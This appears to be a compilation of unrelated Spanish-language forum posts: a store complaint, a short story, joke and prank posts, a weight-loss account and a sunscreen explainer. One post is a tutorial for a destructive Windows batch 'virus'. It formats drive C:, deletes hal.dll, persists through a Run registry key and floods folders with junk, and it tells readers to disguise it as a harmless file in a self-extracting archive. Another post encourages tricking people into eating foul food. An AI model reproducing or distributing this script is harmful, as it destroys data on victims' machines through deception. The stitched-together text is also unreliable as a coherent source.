Oleh

Resulta que muy contento, el domingo pasado me fui a comprar un celu nuevo, ya que el que tenía hasta el momento ya se tildaba constantemente y la batería duraba medio día aproximadamente. Entre al local de garbarino y elegí el Samsung Galaxy J1 Ace. Sale nomás 3 luquitas así que era lo que podía pagar. Abono, me entregan el producto, lo reviso, y me lo llevo ya en la mano. En eso, no habiendo dado más de 20 pasos fuera del local, noto que tenia la pantalla levantada. Se le veian todos los circuitos. Voy devuelta al local e inmediatamente se disponen a cambiarme el producto. Abren la segunda caja: estaba igual. Abren la tercera: también. El de exhibición estaba bien, así que me llevé ese. Cuando llegué a casa empezaron los problemas. Primero que todo no estaba libre. Es de personal el equipo. Pero eso valla y pase. Lo que me molestó es que la pantalla estaba también en este mal puesta. Pero mucho menos drástico que en los otros: en este no se salía ni nada. Tiene el borde metálico curvado y el panel de vidrio medio que se mueve, pero es casi microscópico. Obvio que siendo el 4to equipo con la pantalla mal puesta no tenía pensado en arriesgarme a quedármelo; por lo que emprendí viaje a la sucursal de Unicenter para cambiarlo. Muy importante aclarar que se me aseguró al momento de la compra que tenía 5 días para probarlo y cambiarlo en cualquier sucursal. Llego, hablo con un vendedor y me manda a la ventanilla donde te empacan los productos, que ahí me iban a hacer el cambio. Primero me atendió el pibe con la mejor onda, y me dijo que si, que si quería podía pedir otro modelo para no arriesgarme más, etc. Se va con la boleta y el aparato un rato y vuelve a los 5 minutos. Ahi me dice que había hablado con el vendedor original y me cuenta que el vendedor con el que originalmente había comprado el equipo "me quería ayudar el mismo a resolver el problema". Muy raro eso. Pero no acepté puesto que me complicaba muchísimo la rutina tener que irme de vuelta a la otra sucursal. Además ellos se comprometían a cambiarlo en cualquier sucursal. Entonces de pronto se fue la buena buena onda y predisposición del empleado que me atendió. Fue re caliente a un scanner y paso mi boleta y me la dio. Me dijo (de muy mala gana) que llevara la factura a uno de los "chicos de ventas" así elegía el equipo. Bajó con migo, y en cuanto me vió con cuál vendedor hablé se le acercó y le dijo algo al oido. Claramente le indicó que me hiciera la cama con ese chamuyo del numerito IMEI que ahora relataré. O sea que ya lo tienen armado, es algo que suelen hacer. Fingieron hacer papeleo de muy mala gana, me hicieron elegir otro equipo, hacer los trámites y de pronto aparentemente faltaba el número IMEI del equipo. Yo, como no soy un gil, me fijé que tecleaba en la pantalla el tipo y estaba poniendo cualquier cosa . Fingió probar distintos números y después de eso hizo que iba a buscar el equipo fallado al depósito (nótese como ya me lo iba enchufando devuelta de a poquito) y finalmente, supuestamente lo único que quedaba por hacer era ir a la sucursal original porque ahí y solo ahí sabían con que número IMEI lo ingresaron. El número IMEI, para empezar, se averigua en el celular mismo. Pero además mirá si no van a poder acceder a los datos de la compra desde el sistema?? me dijo que era algo que tenía que memorizar el vendedor. Un chamuyo terrible, una falta de respeto absoluta. Tomé el equipo defectuoso y me retiré muy enojado. La verdad no tengo tiempo para perder, y además no me gusta pelear en público en vano ni ser irrespetuoso. Por eso es que quiero que sepan que voy a hacer público este hecho fraudulento y voy a acudir a defensa al consumidor. Nunca más vuelvo a comprar algo en Garbarino. Ladrones totales. Nótese que hay tres sellos, uno por la primer compra, otro por el cambio casi instantáneo y uno tachado por ese simulacro de cambio que me hicieron para sacarme de encima y mandarme a otra sucursal. Ojalá le sirva a quien lo lea y se puedan evitar un mal trago, porque ahora ando con un celular con la pantalla que parece movediza.

Un excelente cuento les dejo aqui.A disfrutar! Karanchi La ciudad de los jorobados Karachi El pueblo de los Karanchis-La ciudad de Los jorobados ¡¡Cuidado, al piso señor!! , los lugareños se alejan encorvados sacudiéndose el polvo del camino y comentando lo fácil que es distinguir a los visitantes del pueblo por su ignorancia al caminar erguidos y con los cabellos descubiertos. Aquí en Karachi, la tierra es de los Karanchis, que pasan volando rozando las cabezas de los transeúntes intentando arrancarle los cabellos a quien en un descuido camine erguido superando el metro diez de altura. De allí que, todo lo que tenga que ver con la actividad humana no supera esa medida. Los nidos de los Karanchis se pueden observar en los árboles. Son el mayor y el único atractivo turístico del pueblo. Se han diseñado pequeñas gradas frente a los más antiguos, donde turistas orientados por un guía van descubriendo y analizando los diferentes componentes y objetos del nido como quien desentraña los secretos de una verdadera obra de arte. Los nidos de Karanchis son la parte creativa del asunto, sin embargo, en las galerías del pequeño museo de la ciudad se pueden apreciar los morbosos restos y las fotografías de aquello que quedó bajo el metro diez, cuando el ave arrancó lo que sobresalía. Todo un pueblo apiñado, bajo, podado casi en línea recta como un gran asfalto de vida suburbana .Por encima, espacios abiertos, aire, ruta de Karanchis, minados de grandes marañas entretejidas con los restos y partes de una ciudad subyugada, penden de las ramas de los árboles como únicos soportes que superan el metro diez. Los excrementos de los karanchis son el lodo que tapiza las calles haciéndolas resbalosas y permitiendo a la vez que los transeúntes se desplacen deslizándose evitando así el movimiento oscilante que se requiere al caminar y que pondría en peligro sus cabezas desafiando la altura convenida. De allí se explica que el medio de transporte preferido para llegar al pueblo de Karachi sea el subterráneo. Sus habitantes perdieron un poco la sinceridad y la calidez, forzados tal vez por no mirarse a los ojos. Se volvieron criticones y un poco intolerantes porque inevitablemente por la posición corporal adquirida no hacen mas que mirar y encontrarse permanentemente con lo que va dejando el de adelante. Karachi II: Kerka. Kerka sabía que lo que iba a hacer no estaría bien visto por sus padres, vecinos, amigos y el pueblo en general. Había escuchado muchas veces que cuando el hombre se entromete en cuestiones de la naturaleza, mas allá de las buenas intenciones, el resultado puede no ser el esperado y posiblemente inimaginado. Kerka ya había cumplido los 48 y ya se resignaba a vivir sola y sin quien la eligiera. El deseo de la maternidad lo había sepultado bajo sus vestidos y túnicas que muchas veces le jugaban la mala pasada de abultarse en su vientre y recordarle aquello que debería haber sido. Al huevito de Karanchi lo encontró en una rama baja de un pino .Posiblemente había rodado en un descuido de su madre hacia la zona baja y peligrosamente humana. Movida por la curiosidad de su juventud aún intacta y por la suavidad y el brillo del objeto gestante; Kerka acunó en la concavidad de su ser al huevo. El tiempo transcurrió evitando ser descubiertos. Kerka era fea muy fea, terca, tosca, tonta atolondrada, temerosa, tarada, tímida, tétrica, tullida... Ambos, huevo y mujer, comenzaron a nutrirse de la relación vital que habían establecido, y mientras el Karanchi crecía, Kerka se recreaba a sí misma... Ya no se veía tan fea, no la veían tan fea; ahora era tierna, tenaz, tibia, tersa, tentadora, tipa inteligente... Cuando el tiempo se cumplió, buscó un lugar alejado y seguro. Tomó al huevo crujiente con sus manos y en una maniobra en la que la rigidez de sus vértebras anestesiadas por la-emoción le permitieron transformar su C corporal en una i latina, (véase el palito de la i como el cuerpo de Kerka y el puntito como el huevo), lo lanzó al viento lo más alto que pudo. Una Karanchi lo atajó al vuelo y despojando a la criatura de su cárcel craquelada lo abrazó. El pichón se aleja con su ahora madre alada, mientras, en la tierra permanece Kerka extasiada. La Karanchi vuela al nido y en una bolsa de telas apelilladas trae la cena que ella se preparaba y se la arroja a Kerka. Con asombro, ésta encuentra y libera lo que nunca se hubiera imaginado, vivito y coleando asoma allí su "príncipe gris". -Te esperaba. (Le dice él). -¡pues, aquí estoy!, (le dice ella),-Cosas de la naturaleza!!!. Karachi III: El fenómeno Kerka.-Fin de la saga El fenómeno Kerka no pasó desapercibido. No sólo para su" príncipe gris"que cada día se veía más enamorado de ella sino también para su entorno barrial y más precisamente para las jóvenes solteronas que habían descubierto en nuestra amiga una simbólica cenicienta, ídola popular, y concreción en carne y hueso de sus deseos hedónicos. Desde una perspectiva aérea, su hijito putativo podía ubicarla con facilidad y distinguirla de entre el resto de los pobladores ya que por donde Kerka circulaba, un grupo de genuflexas admiradoras la seguían como un cardumen terrestre enlodado. La revelación de su atesorado secreto no se había hecho esperar demasiado. Precipitado un poco quizás por el joven poyuelo que no disimulaba el interés por los movimientos de su incubadora humana a la que no le perdía el paso y la sobrevolaba como un nubarrón imantado. Y, por otro lado, Kerka misma cuya generosidad, aquella que la indujo a colaborar en la gestación del plumífero, florecía ahora y daba nuevos frutos en sus contemporáneas. Una práctica, que en principio fue rechazada por las instituciones del pueblo de Karachi, se tornó inevitable: Tomar prestado el germen de vida de las Karanchis para establecer una simbiosis regenerativa. Definición al comienzo algo compleja pero que fue adquiriendo la simpleza y el poder de síntesis con el que las costumbres pueblerinas se nombran. Era entonces:"el tratamiento del huevo ". (Mujeres enloquecidas intentando conseguir los huevos de Karanchis para que durante la gestación del mismo se beneficiaran con su efecto estético secundario.) Durante las salidas nocturnas, la búsqueda entre las ramas de los árboles obligaba a las muchachas a mantener la barbilla y la mirada en alto; correr el riesgo de ser decapitadas las tornaba más hábiles y rápidas. Fortalecían con su agilidad los músculos. Valientes y suspicaces ligeras y descontracturadas jugaban a encontrar los tesoros escondidos cual cenicientas que mágicamente se transformaban en princesas... Y se puso de moda nomás. Tanto, que las propias Karanchis aceptaron con naturalidad los beneficios de prescindir de la anidación .Al principio, un poco celosas, reticentes, pero disimuladamente empezaron a dejar sus huevos al alcance de la mano de sus ávidas niñeras. Llegó el tiempo en el que había en vuelo tantos Karanchis doblemente gestados y por el amor que los vientres humanos le habían transmitido no podían estos hacer daño alguno. Llegó el tiempo en el que la rígida línea que dividía sus vidas se diluyó y ambos, aves y pobladores, convivieron en el mismo espacio. Pero los efectos de la doble crianza devinieron de la más solidaria relación a una tensa e inquietante competencia. Definir los límites afectivos se tornó complejo. Generaciones de nuevos Karanchis con comportamientos híbridos descolocó a todos los habitantes tanto en el plano aéreo como en el subterráneo. Ahora eran los humanos quienes perseguían, cazaban y encarcelaban a las Karanchis en especies de gallineros gigantes obligadas a la generación de huevos .Allí, en cautiverio, comenzaron a reproducirse y a aceptar las nuevas condiciones de animales cuasi-domésticos. Asados y en guisos no sabían nada mal. Bajos en colesterol y muy nutritivos. Pasaron los años y ambas especies, con sus generaciones se fueron acomodando evolutivamente. El hábito de caminar encorvado dejó de existir; los Karanchis perdieron la habilidad de volar y desarrollaron alas pesadas con plumas largas y oscuras como túnicas que les impedían el despegue y doblegaban sus pequeñas espaldas y ahora ellas, como lo había hecho Kerka escondían algunos huevitos en sus vientres para evitar que esos seres esbeltos se los arrebataran... Y como en un gran reloj de arena, lo de arriba pasó abajo y lo de abajo luego arriba, en esta inquebrantable circularidad del tiempo... SM

Bueno, les vengo a traer una pequeña investigacion sobre los pedos: ¿SABÍAS QUE NO TODOS LOS PEDOS SON IGUALES? NORMALES Y CORRIENTES son obviamente los más frecuentes, son parientes próximos de los furtivos (más abajo), pero salen con menos fuerza. generalmente se practican entre personas que se tienen confianza entre sí. alguien del grupo se tira el primero, y eso anima al resto a decidirse a iniciar la orquesta. normalmente el pedo normal y corriente es inodoro. NERVIOSOS se expulsa en lugares donde el pedómano no quiere que los demás se enteren. seguro que ya has visto a personas en la biblioteca, el supermercado y por la calle tirándose ese tipo de pedos. normalmente se controlan, son de volumen muy bajo y se requiere gran destreza para dominar la técnica. DE TOS sale cuando el pedómano intenta encubrirlo tosiendo, pero no siempre lo logra. normalmente el sujeto se va a una esquina del recinto en el que se encuentra, y entre tos y tos deja salir uno de estos pedos. lo importante es conseguir coordinar la expulsión del pedo con la tos, ya que a veces el pedo resulta ser más largo de lo esperado. PEGAJOSO tiene un sonido acuoso. generalmente nos avisa de que algo está al llegar, y es necesario ir al lavabo urgentemente. la variante mojada indica que ya es demasiado tarde. VENDAVAL es similar al furtivo (véase más abajo), pero llega con un sonido más aéreo, como un fuerte viento, me recuerda a un vendaval. el pedómano expulsa los gases de forma rápida generando carcajadas entre aquéllos que tienen el honor de presenciar tal acontecimiento. CON PRESIÓN es muy fácil de identificar, da la impresión de que la ropa interior de la víctima le va tan apretada que casi produce dolor. normalmente da tiempo a llegar al retrete, si uno es lo suficientemente educado para hacerlo en privado, claro. FURTIVO este es mi preferido. es fuerte, ruidoso y siempre llama la atención de alguien. las características del pedo furtivo se dejan ver en otros pedos también, pero no nos engañemos un pedo furtivo es un señor pedo, un furioso fluido de gases. CAGADERA MATUTINA Son similares a los pegajosos, pero estos dan la sensacion de que nos cagamos, aunque para eso falta y se escuchan como un ''pluofff'' generalmente se tienen las mañanas PUTREFACTO son acuosos y manchan la ropa. para evitarlos no coman comida chatarra en cantidades. FORZADO A SALIR es cuando se quedan cortos en potencia y tenemos que pujar para expulsarlos. hay probabilidad de cagarse, y muy feo. PERDIGON Nos sale cuando estamos cagando. Generalmente salen minibolitas de excremento. ABREPOMPAS es el tipico pedo que nos obliga a abrirnos el culo para que salga. OLORES DESAGRADABLES HUMEDAD EN LA ROPA es uno de los peores y es olor a mierda bien pero bien fuerte y acida ALIENTO A MIERD@ lo provocan la congestion y los mocos y es feisimo da ganas de vomitar SALIVA MATUTINA uff es horrible y es como saliva de cuando te levantas medio pastosa con olor a bosta COMENTEN Y DEJEN PUNTOS O ME TIRO UN PEDO

Este virus es muy peligroso no me hago responsable por nada 1.Abrimos un block de notas y escribimos @echo off color 0a START START P2.VBS echo Esto es un virus, ahora te jodes. echo ------------------------------------------- echo ahora no hay forma de detenerlo jajajajjaa! start start start start start start start start PING 1.1.1.1 -n 1 -w 1 >NUL echo |||| - echo ingresando en el sistema.... PING 1.1.1.1 -n 1 -w 1 >NUL echo |||| - echo ingresando en el sistema.... PING 1.1.1.1 -n 1 -w 1 >NUL echo |||||||| - echo eliminando procesos.... PING 1.1.1.1 -n 1 -w 1 >NUL echo |||||||| - echo eliminando procesos.... PING 1.1.1.1 -n 1 -w 1 >NUL echo |||||||||||||||||| - echo suprimiendo datos y generando codigos.... PING 1.1.1.1 -n 1 -w 1 >NUL echo |||||||||||||||||| - echo suprimiendo datos y generando codigos.... PING 1.1.1.1 -n 1 -w 1 >NUL echo |||||||||||||||||||||||||-PROCESS COMPLETE echo Proceso completado! ECHO %RANDOM% ECHO %RANDOM% start virus start 2ventanas start virus start 3ventanas start virus start 4ventanas FORMAT C:/ TASKILL %RANDOM% START FORMAT %RANDOM% @echo off copy %0%windir%system32WRB.A.bat(este nombre lo escogi yo pero ustedes pongan uno mas creible como Windll32.bat) REG ADD HKLMsotwaremicrosoftwindowscurrentversionrun /v Win.bat /d %windir%system32wRB.A.bat(o el nombre qe le pusieron ustedes!) :worm cd cd %homepatch% cd escritorio echo worm >> %random%.exe% echo worm >> %random%.exe% echo worm >> %random%.exe% echo worm >> %random%.exe% echo worm >> %random%.exe% echo worm >> %random%.exe% echo worm >> %random%.exe% echo worm >> %random%.exe% echo worm >> %random%.exe% echo worm >> %random%.exe% cd cd windows mkdir %random% mkdir %random% mkdir %random% mkdir %random% mkdir %random% mkdir %random% mkdir %random% mkdir %random% mkdir %random% mkdir %random% echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe echo worm >> %ramdom%.exe xcopy C:Archivos de programaMicrosoft Office C: xcopy C:Archivos de programaMicrosoft Office C: xcopy C:Archivos de programaMicrosoft Office C: xcopy C:Archivos de programaMicrosoft Office C: xcopy C:Archivos de programaMicrosoft Office C: xcopy C:Archivos de programaMicrosoft Office C: xcopy C:Archivos de programaMicrosoft Office C: xcopy C:Archivos de programaMicrosoft Office C: xcopy C:Archivos de programaMicrosoft Office C: xcopy C:Archivos de programaMicrosoft Office C: xcopy C:Archivos de programaMicrosoft Office C: xcopy C:Archivos de programaMicrosoft Office C: del /s /f /q C:WINDOWSsystem32hal.dll A ESTO LO GUARDAMOS COMO EÇUN NUMBRE QUE NO LEVANTE SOSPECHAS PERO CON LA TERMINACION .BAT LUEGO ABRIMOS OTRO BLOCK Y PONEMOS MSGBOX ("WINDOWS DETECTO UNA AMENAZA EN FUNCIONAMIENTO." Y LO GUARDAMOS COMO P2.VBS LUEGO LO METEMOS EN UN WIN RAR Y CONFIGURAMOS PARA QUE SE EJECUTE EL BAT.

Si queres hacerte un tatuaje pero en tu colegio no te dejan,esta tinta te lo facilita todo: se saca con un par de pasadas del dedo. Que necesitamos:Una voligoma,Tempera o un marcador,Un palito,Agua y un algodon y un pincel. 1.Con el algodon mojado limpiamos la parte en la que nos vamos a hacer el tatuaje. 3.Ponemos la tempera o el marcador en una superficie plastica. 4.Ponemos arriba una gotita de voligoma arriba. 5.Con el palito mezclamos la tempera/marcador con la voligoma hasta que se haga un gel de color. 6.Con el pincel nos hacemos el tatuaje. 7.Para sacarlo frotarselo con el dedo. Y ESPERO QUE NINGUN MALA ONDA DENUNCIE EL POST

bueno como vi que mis pos con indicaciones de como hacer bromas me subieron 11 puntos y un seguidor:les presento otro. este lo probe de comerlo yo mismo pero estrrible mente fuerte. 1.en un pan ponemos jugo de limon 2.le ponemos mucha sal y mas jugo de limon 3.le ponemos mayonesa 4.pruebenlo si son machos como engañar a alguien para quelo coma: 1.se podria hacer no en un pan y en alguna otra cosa:rellenar una flauta de pan,algunos fideos son huecos.... etc.... etoy desarrollando lamas pestilente bomba de olor.... pronto la posteo se trata de olores tan espantosos que seria imposible permanecer cerca....

No se por que pero este video me causa mucha gracia. Hasta de tanto verlo termine aprendiendome masomenos lo que dicen. link: http://www.youtube.com/watch?v=Sqz-xnNHFho Les dejo lo que entendi: La mama y el papa salivan al hijo peroselescambio los billetes por cupones del dia jajajajaja antes de que salieran la mama le saco las llaves al esposo y le dijo que no iban a poder comer hasta las 7 de la mañana del dia siguiente... jaajjajaja hijo e bimba bimba bimba! Camareroooo! aceptan cupones del diaaa?????? noooo! cupones del dia noo!, chupe lo que halla por el suelo que se halla caido! hay! es que por el suelo ya no queda nada, pasa guante churro pan (?) que usted lo ah dejado limpito no tuviera un cubatin ni que fuera de hielo? Nooo ni que bimba pa que rrrriiii! Bueno me voy a bailar de nuevo bumba bumba bumba bumba bumba bumba bumba bumba amime ami me dan un poquito de pena los grandes porque ellos hacen espaguettis con los tios (?) y convencidos de la vida van y le dicen ''oye tia! te quieres venir con migo a la camita para que te de 4 beso en la oreja?'' no no no que tengo novio bueno perdon entonces me voy a bailar de nuevo bumba bumba bumba bumba bumba bumba bumba bumba pero acuerdate de no volvere nunca mas!

Les dejo un compilado de imagenes para tus post o comentarios. Bueno eso es todo. Ah! Otra cosa! (Son echas por mi)

Pesaba 82.4kg hace aproximadamente un mes. Ahora 76kg. Cómo hice? Antes que nada aclaro que no soy un profesional, y que siempre hay que acudir a un especialista por el simple hecho de que cada cuerpo es distinto. Comparto esta experiencia como motivación o inspiración. Quiero aclarar que en ningún momento tuve que pasar hambre ni que dejé de comer. Lo único que se sufre son los dolores musculares la primer semana. Comprobando el IMC Primero hice un análisis de la situación en la que estaba. Fui al médico y me hice un chequeo rutinario. Me pesó, me midió, entre otras cosas. Con esos dos datos determiné mi ÍNDICE DE MASA CORPORAL. Es un valor que promedia nuestra altura con nuestro peso y nos dice en que situación nos encontramos. Para calcular tu IMC: http://www.texasheart.org/HIC/Topics_Esp/HSmart/bmi_calculator_span.cfm Teniendo en claro contra qué luchaba Lo segundo que hice fue identificar aquellos factores que me tenían gordito. Comía muchas harinas, boludeces, jugos/gaseosas, meriendas zarpadas, desayunos excesivos. Y además, como buen lince, todo el día en la compu: sedentarismo. Manos a la obra Qué hice entonces? Es recontra simple. Y al principio uno puede desmotivarse y pensar que no sirve o que no es suficiente. Pero paciencia. Galletitas, facturas, y pan: Chau. Gaseosas, aguas saborizadas? Chaaau. Pan en los sanguches o patys? También, chau. Yo por ejemplo tomaba aquarius como si fuera agua. Ahora lo único distinto de agua es jugo de naranja normal, que tomo en el desayuno/merienda. En cuanto al pan, dejé de comer excepto si era tostado, y obviamente limitándome. En desayunos y meriendas a veces. El resto lo mantuve normal. Almuerzo: Un plato + fruta. Cena: Un plato + fruta.. Sin repetir plato!. Si me agarra un bajón fuerte, que me tiento mucho a lo sumo me clavo una manzanita. Y en desayuno y merienda una fruta siempre, también. En cuanto al ejercicio agarré y empecé a salir a correr día por medio más o menos. Muy tranqui, trotando; pero con constancia. Hidratándome bien. También meto un par de flexiones en mi casa, y abdominales. Sin zarparme y lastimarme. Los primeros días sentía que era al pedo. Pero puse huevos y una semana después, cuando me volví a pesar... chan! Había bajado algo así como un kilo y algunos gramos. Cuando ves que realmente estás bajando te recontra motivás y ahí ya es cuestión de mantener ese rumbo.

Qué le pasa a tu piel cuando le pega el sol y vos no usás protector solar? Hoy tal vez aprendas cuán realmente importante es el usar pantalla solar. Para la mayoría de los linces suele ser terrible paja tener que ponerse protector solar. Y no sólo eso: también hay que aguantarse la sensación desagradable que deja en la piel. Pero en este post les voy a mostrar cómo es que funciona y cómo es que el sol sin pantalla les hace papilla las celulas. Primero aclaremos qué es la luz y los rayos UV para aquellos burros que no prestaron atención en la escuela: La luz es la parte de las radiaciones electromagnéticas que podemos captar con nuestros ojos. Fotones (particulas energéticas) moviéndose de cierta manera que permite ser captada por nuestros ojos. Por ejemplo, si los fotones se mueven de una manera X lo percibimos como el color verde y si los fotones se mueven de una manera Y, podría ser que los captemos como el azul, o incluso que no podamos percibirlos (por ejemplo infrarrojos) Nosotros podemos captar desde el rojo hasta el violeta. La que viene antes del rojo se llama luz infrarroja (lógicamente), y la que viene después del violeta se llama, por supuesto, luz ULTRAVIOLETA. Ahora entendamos qué es un pigmento La luz blanca, normal, común y corriente es en realidad todos los colores al mismo tiempo. Cuando esta choca contra un objeto, se absorben algunos colores y frecuencias, y otros se reflejan: estos últimos son los que podemos ver. Ejemplo for dumbs: Una taza es roja. La luz le pega a la taza, y sus pigmentos absorben todos los demás colores, menos el rojo que rebota y sale despedido, por lo que nosotros lo captamos con los ojos. Bueno, así como hay sustancias que absorben ciertos de colores, también hay sustancias que absorben otros de los "colores invisibles al ojo humano", como el ultravioleta. Y así funciona un protector solar: absorbe los rayos UV, pero el resto de los colores ni se mosquean. Por eso a simple vista es una crema blanca/transparente. Si el ojo humano viera en rayos UV se veria así el protector solar: (Se ve negro porque el negro es la ausencia de luz. La camara solo ve luz UV y ahí está siendo absorbida por la crema.) Ahora que entendimos (eso espero) que son los rayos UV y como funciona el protector solar, pasemos a qué es lo que le hacen a tu piel los rayos UV Esta foto es de hiroshima antes de la bomba. Hagamos de cuenta que es el ADN de tu células dérmicas. Y esta es la foto de hiroshima después de la bomba que vendria a ser el rayo UV, si no usaste protector. Ahora que entendimos más o menos lo que le hace a tu ADN, podemos explicar cuáles son las consecuencias. Para empezar, ese ADN va a tener que ser reparado por distintos mecanismos de tu célula. Pero lógicamente no va a quedar igual. Por eso mismo, las células hijas van a nacer un poquito más envejecidas. Pero lo más peligroso de todo: cuando se daña la parte del ADN que le indica a la célula cuándo replicarse y cuándo morir... Comienza un crecimiento descontrolado, conocido como cáncer. Y no son sólo estas las consecuencias. El ADN es básicamente la constitución nacional de una célula. Si se daña y la reparación no es correcta los problemas son muy diversos. Así que linces, cuando vayan a salir al sol sin protector, sepan que están jugando a la ruleta rusa porque si por X motivo la celula no logra repararse correctamente están frente a un problema. A usar protector! PD: Tampoco hay que ser obsesivo, la cosa es usar protector si vamos a estar al sol mucho tiempo, sobretodo si es al mediodía.